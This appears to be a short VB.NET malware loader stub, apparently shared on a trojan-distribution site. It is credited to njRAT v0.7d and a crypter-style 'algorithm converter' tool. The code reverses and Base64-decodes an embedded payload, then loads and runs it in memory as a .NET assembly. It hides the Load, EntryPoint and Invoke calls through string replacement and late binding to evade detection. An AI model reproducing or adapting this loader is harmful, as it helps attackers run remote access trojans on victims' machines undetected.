Module Module1
    Sub Main()
        Run(Convert.FromBase64String(StrReverse("Base64/Reverse")))
    End Sub
    Public Function Run(ByVal Data As Byte()) As Object
        Dim A = "[+][+][+][+]".Replace("[+][+][+][+]", "Load")
        Dim B = "[-][-][-][-]".Replace("[-][-][-][-]", "EntryPoint")
        Dim C = "[#][#][#][#]".Replace("[#][#][#][#]", "Invoke")
        Dim D = Interaction.CallByName(System.Threading.Thread.GetDomain(), Trim(A), CallType.Method, Data)
        Dim E = Interaction.CallByName(D, Trim(B), CallType.Get)
        Dim F = Interaction.CallByName(E, Trim(C), CallType.Method, 0, New Object(-1) {})
        Return F
    End Function
End Module

-----------------------------------------------------------------------------------------------------------

njRAT v0.7d By njq8
http://www.connect-trojan.net/2013/12/njrat-v0.7d-by-njq8.html

Algorithm Converter And Split By R4Jaw! & R!ad v3
http://www.connect-trojan.net/2016/03/algorithm-converter-and-split-v3-by-r4jaw-and-riad.html